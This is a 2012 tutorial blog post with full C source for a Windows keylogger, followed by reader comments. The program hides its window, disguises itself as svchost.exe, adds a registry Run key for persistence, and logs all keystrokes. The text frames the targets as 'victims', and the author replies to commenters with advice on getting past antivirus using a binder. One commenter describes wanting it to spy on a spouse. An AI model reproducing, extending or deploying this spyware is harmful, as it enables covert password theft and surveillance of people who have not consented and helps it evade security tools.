C program of Keylogger or keystroke logger | C codechamp

Mr Coder September 1, 2012 41

C program of Keylogger or keystroke loggerKeylogger is a computer program which captures all the key strokes pressed by user in real time. It captures all the keys and write them to some file say log.txt and stores it on computer hard disk. Now sending these logs to emails or FTP address depends upon the type of keylogger that is keylogger is remote keylogger or physical keylogger. Physical keyloggers are useful when you have physical access to that system and can retrieve logs personally. While remote keyloggers can be used from anywhere in the world, the only requirement is that victim must have internet connection. Today we will be writing a C program of Physical keylogger or Keystroke logger which requires physical access of the system. We will be extending our logic in further programs to make it remote keylogger which sends logs to FTP’s and Emails directly. So first of all lets see how simple keylogger program works…

Algorithm for writing a Simple Keylogger :

1. Create an Empty log file for storing keylogs.

2. Intercept keys pressed by user using GetAsyncKeyState() function.

3.  Store these intercepted values in file.

4.  Hide the Running Window Dialog to make it undetectable.

5.  Use while loop to make it running in all conditions.

6.  Add Sleep() function to reduce the CPU usage to 0%.

 

Now let us see the C program of keylogger or keystroke logger which intercepts all the keys pressed by the user and store these pressed keys in log file.

Note : Save the program as svchost.c before compiling. Now place the svchost.exe(binary generated after compilation) into C:/windows folder. You can access the logs at C:/windows/svchost.log . Enjoy !

C program of Keylogger or keystroke logger :

#include<windows.h>
#include<stdio.h>
#include<winuser.h>
#include<windowsx.h>

#define BUFSIZE 80

int test_key(void);
int create_key(char *);
int get_keys(void);

int main(void)
{
   HWND stealth; /*creating stealth (window is not visible)*/
   AllocConsole();
   stealth=FindWindowA("ConsoleWindowClass",NULL);
   ShowWindow(stealth,0);

   int test,create;
   test=test_key();/*check if key is available for opening*/

   if (test==2)/*create key*/
   {
       char *path="c:\\%windir%\\svchost.exe";/*the path in which the file needs to be*/
       create=create_key(path);

   }

   int t=get_keys();

   return t;
}  

int get_keys(void)
{
           short character;
             while(1)
             {
                    sleep(10);/*to prevent 100% cpu usage*/
                    for(character=8;character<=222;character++)
                    {
                        if(GetAsyncKeyState(character)==-32767)
                        {  

                            FILE *file;
                            file=fopen("svchost.log","a+");
                            if(file==NULL)
                            {
                                    return 1;
                            }            
                            if(file!=NULL)
                            {        
                                    if((character>=39)&&(character<=64))
                                    {
                                          fputc(character,file);
                                          fclose(file);
                                          break;
                                    }        
                                    else if((character>64)&&(character<91))
                                    {
                                          character+=32;
                                          fputc(character,file);
                                          fclose(file);
                                          break;
                                    }
                                    else
                                    {
                                        switch(character)
                                        {
                                              case VK_SPACE:
                                              fputc(' ',file);
                                              fclose(file);
                                              break;    
                                              case VK_SHIFT:
                                              fputs("[SHIFT]",file);
                                              fclose(file);
                                              break;                                            
                                              case VK_RETURN:
                                              fputs("\n[ENTER]",file);
                                              fclose(file);
                                              break;
                                              case VK_BACK:
                                              fputs("[BACKSPACE]",file);
                                              fclose(file);
                                              break;
                                              case VK_TAB:
                                              fputs("[TAB]",file);
                                              fclose(file);
                                              break;
                                              case VK_CONTROL:
                                              fputs("[CTRL]",file);
                                              fclose(file);
                                              break;    
                                              case VK_DELETE:
                                              fputs("[DEL]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_1:
                                              fputs("[;:]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_2:
                                              fputs("[/?]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_3:
                                              fputs("[`~]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_4:
                                              fputs("[ [{ ]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_5:
                                              fputs("[\\|]",file);
                                              fclose(file);
                                              break;                                
                                              case VK_OEM_6:
                                              fputs("[ ]} ]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_7:
                                              fputs("['\"]",file);
                                              fclose(file);
                                              break;                                            
                                              case VK_NUMPAD0:
                                              fputc('0',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD1:
                                              fputc('1',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD2:
                                              fputc('2',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD3:
                                              fputc('3',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD4:
                                              fputc('4',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD5:
                                              fputc('5',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD6:
                                              fputc('6',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD7:
                                              fputc('7',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD8:
                                              fputc('8',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD9:
                                              fputc('9',file);
                                              fclose(file);
                                              break;
                                              case VK_CAPITAL:
                                              fputs("[CAPS LOCK]",file);
                                              fclose(file);
                                              break;
                                              default:
                                              fclose(file);
                                              break;
                                       }        
                                  }    
                             }        
                   }    
               }                  

           }
           return EXIT_SUCCESS;                            
}                                                

int test_key(void)
{
   int check;
   HKEY hKey;
   char path[BUFSIZE];
   DWORD buf_length=BUFSIZE;
   int reg_key;

   reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
   if(reg_key!=0)
   {    
       check=1;
       return check;
   }        

   reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);

   if((reg_key!=0)||(buf_length>BUFSIZE))
       check=2;
   if(reg_key==0)
       check=0;

   RegCloseKey(hKey);
   return check;  
}

int create_key(char *path)
{  
       int reg_key,check;

       HKEY hkey;

       reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
       if(reg_key==0)
       {
               RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));
               check=0;
               return check;
       }
       if(reg_key!=0)
               check=1;

       return check;
}

 

Now this code will generate a binary exe file, which is your keylogger software. Just double click it to start monitoring all the keys pressed in system.

We hope you all have enjoyed the C program of Keylogger or keystroke logger. If you have any issues with above program ask us in form of comments.

Uniqueness is the key ! and Quality is what we deliver..

41 Comments »

  1. Sunny September 2, 2012 at 5:38 am - Reply

    Hi, its really a nice post. Will this exe get caught by anti viruses??

    • Mr Coder September 2, 2012 at 7:13 am - Reply

      It depends actually, since antivirus searches for patterns, so it can be detected.
      To prevent it from antivirus, you just need a good binder program to make is undetectable.

  2. S.Yashwanth Kumar September 2, 2012 at 11:43 pm - Reply

    Thanks a lot for this post coz I used to hear about these keyloggers that they will be useful to hack the passwords but never experienced it…With this post I came to know how it works…Thanks again. Keep posting.

  3. Shivam September 3, 2012 at 4:16 pm - Reply

    Will it work in Turbo C/C++ compiler coz.. windows.h file is not in the library directory of Turbo C/C++ compiler…
    Plz reply me

  4. Shivam September 3, 2012 at 4:19 pm - Reply

    Will it also work in 64-bit OS???

  5. cuniownCruigo September 4, 2012 at 5:31 pm - Reply

    I appreciate all the work you have put into your blog! I’m going to Tweet this out to my followers… Definitely worth passing on!

  6. Nothing September 16, 2012 at 6:35 am - Reply

    I compiled it using Dev C/C++, will it work?

    • Mr Coder September 16, 2012 at 7:56 am - Reply

      Yes, it will work..

  7. Erasmo Urrutia September 20, 2012 at 3:15 pm - Reply

    I simply want to tell you that I am beginner to blogs and absolutely enjoyed this web site. Most likely I’m going to bookmark your blog . You amazingly have amazing well written articles. Regards for sharing your web site.

  8. ferragamo September 28, 2012 at 7:51 pm - Reply

    I was suggested this web site by way of my cousin. I am now not certain whether or not this publish is written through him as nobody else understand such detailed about my difficulty. You are amazing! Thanks!

  9. gratis October 1, 2012 at 8:34 pm - Reply

    Hi there you have a great blog over here! Thanks for sharing this interesting information for us! If you keep up this good work I’ll visit your weblog again. Thanks!

  10. tatoeage letters October 1, 2012 at 11:16 pm - Reply

    I think this is a powerfull site with a lot interesting topics about this stuff. And i just wanna say thnx for this. I’ll follow your blog to see if you post more stuff like these!

    • Graceland October 19, 2012 at 1:02 am - Reply

      This website makes tihgns hella easy.

  11. Felipe Affonso October 6, 2012 at 2:51 am - Reply

    How can I get the name of the window where the character were wrote?

    Thaks

  12. Felipe Affonso October 6, 2012 at 2:55 am - Reply

    Sorry,

    How can I get the name of the window where the character were written?
    Thaks

    • Mr Coder October 10, 2012 at 7:30 pm - Reply

      Code need to be updated for capturing windows. We will soon update the code for same. Thanks for suggesting things.

  13. rvvprasadrao October 14, 2012 at 9:53 am - Reply

    hi i have compiled using DEV C++ and it gives an error
    sleep undeclared first use in this function please tel us how to rectify this problem

  14. rvvprasadrao October 14, 2012 at 9:54 am - Reply

    hi
    i have compiled using DEVc++ and error thrown is
    sleep undelared first use in this function

    • Mr Coder October 15, 2012 at 6:30 pm - Reply

      In DEV C++ we don’t have sleep function its Sleep.
      Note : Sleep function has S capital upper case.

      In other compilers sleep can work. So if its throwing error on sleep function just replace the same by Sleep ( capital S).
      I hope this will solve your issue.
      Stay connected.

  15. Kourtney October 18, 2012 at 8:58 pm - Reply

    That’s a sensible answer to a chlalenigng question

  16. Sanjay October 30, 2012 at 12:11 pm - Reply

    hi,
    how to convert this code for c4droid or apk ?
    thanks

    • Mr Coder November 5, 2012 at 9:40 pm - Reply

      We will need to write a code in SDK for that. But you can give it a try. Also i think keyboard sync API might not be open to all. I need to look at other decoded apps then i will be better situation to help you..

  17. Adarsh November 5, 2012 at 7:42 pm - Reply

    Hey I am using Dev C++ and its throwing error in windef.h .
    So how can i remove that…
    syntax error at ##token

    • Mr Coder November 5, 2012 at 9:38 pm - Reply

      I think you haven’t copied the code correctly, that’s why this issue is occurring.
      Because i have already tested code in Dev C++, except Sleep function everything is working perfect.

      Try to copy the code using copy to clipboard option then it will work.

      Or Alternatively there can be the case that u might be using portable Dev C++ version.

  18. subbareddy November 8, 2012 at 8:58 am - Reply

    its nice website

  19. prasant kumar nayak November 20, 2012 at 8:02 am - Reply

    sir i have compiled in turbo c++ compile it give some error like allmost lots of header files are not be extracted. please give some suggestion 2 me

    • Mr Coder November 20, 2012 at 10:38 am - Reply

      @Prasant

      I have written this code on Dev C++ . So please use Dev C++ or Code Blocks to compile the code.

  20. Gumble November 26, 2012 at 10:33 pm - Reply

    Why do you close and reopen the file everytime?

  21. Vivek November 27, 2012 at 3:46 am - Reply

    Warning 1 warning C4996: ‘fopen’: This function or variable may be unsafe. Consider using fopen_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. c:\users\rohit\documents\svhost\svhost\svhost.cpp 50 1 svhost

    Error 2 error C2664: ‘RegOpenKeyExW’ : cannot convert parameter 2 from ‘const char [46]‘ to ‘LPCWSTR’ c:\users\rohit\documents\svhost\svhost\svhost.cpp 195 1 svhost

    Error 3 error C2664: ‘RegQueryValueExW’ : cannot convert parameter 2 from ‘const char [8]‘ to ‘LPCWSTR’ c:\users\rohit\documents\svhost\svhost\svhost.cpp 202 1 svhost

    Error 4 error C2664: ‘RegCreateKeyW’ : cannot convert parameter 2 from ‘const char [46]‘ to ‘LPCWSTR’ c:\users\rohit\documents\svhost\svhost\svhost.cpp 219 1 svhost

    Error 5 error C2664: ‘RegSetValueExW’ : cannot convert parameter 2 from ‘const char [8]‘ to ‘LPCWSTR’ c:\users\rohit\documents\svhost\svhost\svhost.cpp 222 1 svhost

    6 IntelliSense: argument of type “const char *” is incompatible with parameter of type “LPCWSTR” c:\users\rohit\documents\svhost\svhost\svhost.cpp 195 44 svhost

  22. Vivek November 27, 2012 at 3:47 am - Reply

    these are the errors i compiled this program in vs2010 c++ …. how to remove
    i have 64bit os

  23. Irod December 15, 2012 at 12:31 am - Reply

    Hy.. I have managed to run it in Dev C/C++. First i wanna tell ya that is my first time when i try this. looks sweet, but i have 1 question, what line or what should i change in the code in order for the svchost file not to show on the desktop, but to show where i want it (ex. in the same folder where i have saved the C++ compliled file), please do keep in mind i am total noob, and i need guidance. TNX a lot :)
    OMG i can’t belive u made it so easy for someone like me, who have never seen or used C++ EVER in his life, to create a Keylogger. I wish i have found you long way before my wife cheated on me :(

    Thank you for your time and reply.

  24. Irod December 15, 2012 at 12:37 am - Reply

    Another question is : Will it run automaticly after every restart or i have to activate it manualy?
    Thank you!

  25. Genie December 16, 2012 at 4:28 pm - Reply

    Yeah! It’s Awesome

  26. paras kumar bk December 28, 2012 at 8:04 am - Reply

    actually i have used this function and it realy work

  27. paras kumar bk December 28, 2012 at 8:10 am - Reply

    what about for mailing process in c++
    if you know plz send me mail

  28. lol December 29, 2012 at 12:41 pm - Reply

    “> alert(“lol”);

  29. Jat Saxn February 9, 2013 at 11:06 pm - Reply

    I’m able to compile the program. However when I run it from Dev C/C++ window I get popup window which says ‘Couldn’ create process’. It generated exe file in the folder where I save the program. I copied that exe file into C:\Windows folder. When I manually run it I get error as ‘C:\Windows\SVCHOST.exe is not a valid Win32 application’. What to do now?

  30. Jat Saxn February 10, 2013 at 12:31 am - Reply

    I’m able to execute the file now. It creates the log file after I type something. However file is created after some time lag. But it only contains one character from the string that I’ve typed instead of capturing all the key strokes. Could you please help? I must be doing something wrong.

  31. kundrata March 21, 2013 at 8:12 pm - Reply

    Hi
    The code worked for me, but I don’t understand the test_key and create_key functions. I recon you do that in order to start the application every time windows initializes. But I can;t find the hkey registry in the specified subkey path. I modified the program to check whether the registry value was created by puting another condition for when test is different than 2, but it seems that doesn’t happen and the program creates the registry value, still can;t find it in regedit.
    Why not just copy the application in the windows startup folder ? I never tried it to appreciate whether it is possible or very difficult to do, but seems simpler.
    Would very much appreciate an explanation
    Nice code btw
    Waiting for the code that used ftp to send the information through the internet

  32. mkisawsm March 26, 2013 at 3:22 pm - Reply

    Hi!
    i just wanted to day that if u use code blocks to compile it you have to change sleep to Sleep in the source.

  33. mkisawsm March 26, 2013 at 3:29 pm - Reply

    I just realised that it doesent capture spesial characters like : §!”#¤&&/()=(=/&:;.,.

Leave A Response »